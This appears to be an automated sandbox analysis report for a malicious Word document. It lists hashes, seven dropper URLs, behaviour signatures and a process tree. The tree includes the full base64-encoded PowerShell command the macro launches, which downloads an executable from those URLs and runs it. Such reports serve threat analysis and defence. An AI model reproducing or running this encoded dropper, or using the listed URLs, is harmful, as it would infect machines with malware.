Analysis

  • max time kernel
    134s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 03:12

General

  • Target

    74b88b2c52f0169197fe553bde9733dcJaffaCakes118.doc

  • Size

    161KB

  • MD5

    74b88b2c52f0169197fe553bde9733dc

  • SHA1

    4a35685333d6dd180d2dbc9a85bca652a1ff17be

  • SHA256

    2a4e902462327eea660cd484d54617960e688bd970e891f9de176f2564e1196f

  • SHA512

    b4d3d515107c9094d1127bbf8e064193b8563be96bf5221e586fc5b891f185f3414434ce8c42f20ca773a05591d33b065c03b2adce01f82bbaa55b2188901e5a

  • SSDEEP

    1536:Brdi1Ir77zOH98Wj2gpngR+a9HyzrPkNFLCA0h:BrfrzOH98ipg7yzgN5B0h

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://hoagietesting10.com/wp-content/SJ/

exe.dropper

http://degepro.com/eTrac/s9/

exe.dropper

http://hbprivileged.com/info/rp/

exe.dropper

https://shoyannutrition.com/wp-includes/B4e/

exe.dropper

https://ictsmkn2cibar.org/cgi-bin/N/

exe.dropper

https://povedavicedo.com/wp-admin/d/

exe.dropper

http://mbsolutions.ge/wp-admin/eRY/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74b88b2c52f0169197fe553bde9733dcJaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3620
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABFAGwAeABxADkAeABpAD0AKAAnAEEAbgAnACsAKAAnADIAcgA2ACcAKwAnADIAYwAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAGUAcgBQAFIAbwBGAGkAbABFAFwAcABSAGgAWAB1AEsAUQBcAG8ANQBlADEAcABTAGUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAVQByAGkAdABgAHkAUAByAGAAbwB0AG8AYABDAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAMgAsACcAKwAnACAAdAAnACsAJwBsAHMAJwApACsAKAAnADEAMQAsACAAJwArACcAdABsACcAKQArACcAcwAnACkAOwAkAFcAYQA0ADkAbwA2ADUAIAA9ACAAKAAoACcAQwAnACsAJwB5AG8AJwApACsAKAAnAHMAJwArACcAZQB5ACcAKQArACgAJwBhAGwAJwArACcAbgAnACkAKQA7ACQARwB4ADQAaQBpAG4ANwA9ACgAJwBUACcAKwAoACcAYwBoAG8AJwArACcAdQAnACsAJwAwAGoAJwApACkAOwAkAFAANQBoADQAcgA5ADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcASQBXACcAKwAoACcARgBQACcAKwAnAHIAaAB4ACcAKQArACcAdQAnACsAJwBrAHEAJwArACgAJwBJACcAKwAnAFcARgAnACsAJwBPADUAZQAxAHAAJwApACsAJwBzACcAKwAoACcAZQAnACsAJwBJAFcARgAnACkAKQAuACIAcgBlAFAAbABBAGAAQwBlACIAKAAoAFsAQwBIAEEAUgBdADcAMwArAFsAQwBIAEEAUgBdADgANwArAFsAQwBIAEEAUgBdADcAMAApACwAWwBzAHQAcgBJAE4ARwBdAFsAQwBIAEEAUgBdADkAMgApACkAKwAkAFcAYQA0ADkAbwA2ADUAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABRAGcAdQBfAGkANAAzAD0AKAAnAFEAMwAnACsAKAAnAGQAeAAnACsAJwAwACcAKQArACcAcwBsACcAKQA7ACQASwBzADcAaQBqAGYAcQA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgBXAEUAQgBjAEwAaQBFAE4AdAA7ACQATQBfAGEAdgByAHkAegA9ACgAJwBoACcAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAGgAbwBhACcAKQArACcAZwAnACsAJwBpAGUAJwArACgAJwB0AGUAJwArACcAcwB0ACcAKwAnAGkAbgAnACkAKwAoACcAZwAnACsAJwAxADAALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtACcAKwAnAGMAJwArACgAJwBvAG4AdAAnACsAJwBlAG4AJwApACsAJwB0ACcAKwAoACcALwBTAEoAJwArACcALwAnACsAJwAqAGgAdAB0AHAAJwApACsAKAAnADoALwAvAGQAZQAnACsAJwBnAGUAJwApACsAJwBwAHIAJwArACgAJwBvAC4AJwArACcAYwBvAG0AJwArACcALwBlAFQAcgBhAGMAJwApACsAKAAnAC8AJwArACcAcwA5ACcAKQArACgAJwAvACoAJwArACcAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AaABiAHAAcgBpAHYAJwApACsAJwBpACcAKwAoACcAbAAnACsAJwBlAGcAJwApACsAJwBlACcAKwAnAGQAJwArACgAJwAuAGMAbwAnACsAJwBtAC8AJwApACsAJwBpACcAKwAoACcAbgBmAG8AJwArACcALwByAHAAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoAJwApACsAJwAvACcAKwAnAC8AJwArACgAJwBzAGgAbwB5ACcAKwAnAGEAJwArACcAbgBuAHUAdAAnACsAJwByACcAKwAnAGkAdABpAG8AbgAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHcAcAAtAGkAbgBjAGwAdQBkACcAKwAnAGUAcwAvAEIAJwArACcANABlACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcABzADoALwAvAGkAJwArACcAYwB0AHMAbQAnACsAJwBrAG4AMgBjACcAKQArACgAJwBpACcAKwAnAGIAYQAnACkAKwAoACcAcgAnACsAJwAuAG8AcgBnAC8AJwApACsAKAAnAGMAJwArACcAZwAnACsAJwBpAC0AYgBpAG4AJwApACsAKAAnAC8ATgAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0AHAAcwA6AC8AJwArACcALwAnACsAJwBwAG8AdgBlACcAKQArACcAZABhACcAKwAoACcAdgBpAGMAZQBkAG8ALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtACcAKwAnAGkAJwApACsAKAAnAG4ALwAnACsAJwBkACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBtACcAKwAnAGIAcwBvAGwAJwApACsAJwB1ACcAKwAoACcAdABpACcAKwAnAG8AJwApACsAJwBuACcAKwAoACcAcwAnACsAJwAuAGcAJwApACsAKAAnAGUALwAnACsAJwB3ACcAKQArACcAcAAtACcAKwAnAGEAJwArACgAJwBkACcAKwAnAG0AaQBuACcAKQArACgAJwAvAGUAJwArACcAUgBZAC8AJwApACkALgAiAHMAUABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwA0AG8AdgAyADMAZQA9ACgAKAAnAFAAZQAnACsAJwBfAF8AdgAnACsAJwAxACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABRADkAZwBfAF8AbQBsACAAaQBuACAAJABNAF8AYQB2AHIAeQB6ACkAewB0AHIAeQB7ACQASwBzADcAaQBqAGYAcQAuACIARABPAGAAdwBgAE4ATABgAE8AYQBkAEYAaQBsAGUAIgAoACQAUQA5AGcAXwBfAG0AbAAsACAAJABQADUAaAA0AHIAOQAwACkAOwAkAEcAcwBiADUAMgBvADkAPQAoACcAVwAnACsAKAAnAHEAdwByAGsAJwArACcAagAyACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFAANQBoADQAcgA5ADAAKQAuACIAbABgAGUAbgBnAFQAaAAiACAALQBnAGUAIAAyADQAOQA0ADMAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQAUAA1AGgANAByADkAMAApADsAJABXAGsAMwB1AHkANwA2AD0AKAAoACcARgBuAGQANQAnACsAJwAzACcAKQArACcAMwA4ACcAKQA7AGIAcgBlAGEAawA7ACQAUgBuAHIAcQByAHYAMQA9ACgAKAAnAFkAMQBrAGcAJwArACcAeQAnACkAKwAnAGQAJwArACcAbQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAaQB6AHEAbQA3AHcAPQAoACcARgAzACcAKwAoACcAdQBhACcAKwAnADUAeAAnACkAKwAnAGMAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3124

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD890E.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_40ypj4jn.cmv.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\pRhXuKQ\o5e1pSe\Cyoseyaln.exe

    Filesize

    206KB

    MD5

    36caec2201614c57f8f47deac98e4c42

    SHA1

    4d6287ea130d716fc5c7180a3852b58db4d617d2

    SHA256

    52758db848d1575c157baab70231c082fd8ebe593724b5eb627ffc7ca36846fc

    SHA512

    a8d6cdd2c0d4d1d164f057d6eb5f0f99dee8f6bcdd1a12e972e5049717b0f3f0a9baf0121c0a4c50788e5970221e4cbf8b197bec82276c23bbdca23dacf35a64

  • memory/3124-71-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3124-101-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3124-72-0x000001D79B290000-0x000001D79B2B2000-memory.dmp

    Filesize

    136KB

  • memory/3620-11-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-6-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-9-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-5-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-4-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3620-0-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3620-12-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-13-0x00007FFF74710000-0x00007FFF74720000-memory.dmp

    Filesize

    64KB

  • memory/3620-14-0x00007FFF74710000-0x00007FFF74720000-memory.dmp

    Filesize

    64KB

  • memory/3620-26-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-27-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-10-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-8-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-2-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3620-7-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3620-3-0x00007FFFB688D000-0x00007FFFB688E000-memory.dmp

    Filesize

    4KB

  • memory/3620-1-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3620-563-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-582-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-583-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3620-604-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3620-607-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3620-606-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3620-605-0x00007FFF76870000-0x00007FFF76880000-memory.dmp

    Filesize

    64KB

  • memory/3620-608-0x00007FFFB67F0000-0x00007FFFB69E5000-memory.dmp

    Filesize

    2.0MB